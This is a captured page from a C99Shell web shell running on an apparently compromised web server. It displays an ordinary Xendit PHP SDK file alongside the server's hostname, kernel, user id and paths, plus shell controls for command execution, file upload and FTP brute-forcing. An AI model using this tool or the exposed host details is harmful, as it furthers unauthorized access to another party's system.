!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/xendit/xendit-php/src/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Promotion.php (2.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Promotion.php
 * php version 7.2.0
 *
 * @category Class
 * @package  Xendit
 * @author   Christian <christian.atilano@xendit.co>
 * @license  https://opensource.org/licenses/MIT MIT License
 * @link     https://api.xendit.co
 */
namespace Xendit;

use 
Xendit\Exceptions\InvalidArgumentException;

/**
 * Class Promotion
 *
 * @category Class
 * @package  Xendit
 * @author   Christian <christian.atilano@xendit.co>
 * @license  https://opensource.org/licenses/MIT MIT License
 * @link     https://api.xendit.co
 */
class Promotion
{
    use 
ApiOperations\Request;

    
/**
     * Instantiate base URL
     *
     * @return string
     */
    
public static function classUrl()
    {
        return 
"/promotions";
    }

    
/**
     * Send a create request
     *
     * Create a Promotion
     *
     * either promo_code or bin_list is required
     * either discount_percent or discount_amount is required
     *
     * Please refer to this documentation for more detailed info
     * https://developers.xendit.co/api-reference/#create-promotion
     *
     * @param array $params user's parameters
     *
     * @return array [
     *   'business_id' =>  string,
     *   'currency' => string,
     *   'created' => string,
     *   'description' => string,
     *   'discount_amount' => int,
     *   'end_time' => string,
     *   'id' => string,
     *   'promo_code' => string,
     *   'reference_id' => string,
     *   'start_time' => string,
     *   'status' => string,
     *   'type' => string,
     * ]
     *
     * @throws Exceptions\InvalidArgumentException
     *
     * @throws Exceptions\ApiException if request status code is not 2xx
     **/
    
public static function create($params = [])
    {
        if (!
array_key_exists('promo_code'$params)
            && !
array_key_exists('bin_list'$params)
        ) {
            
$message 'Please specify "promo_code" or "bin_list"' .
                       
'inside your parameters.';
            throw new 
InvalidArgumentException($message);
        }

        if (!
array_key_exists('discount_percent'$params)
            && !
array_key_exists('discount_amount'$params)
        ) {
            
$message 'Please specify "discount_percent" or "discount_amount"' .
                       
'inside your parameters.';
            throw new 
InvalidArgumentException($message);
        }

        
$requiredParams = [
            
'reference_id',
            
'description',
            
'currency',
            
'start_time',
            
'end_time',
        ];

        
self::validateParams($params$requiredParams);

        
$url = static::classUrl();

        return static::
_request('POST'$url$params);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--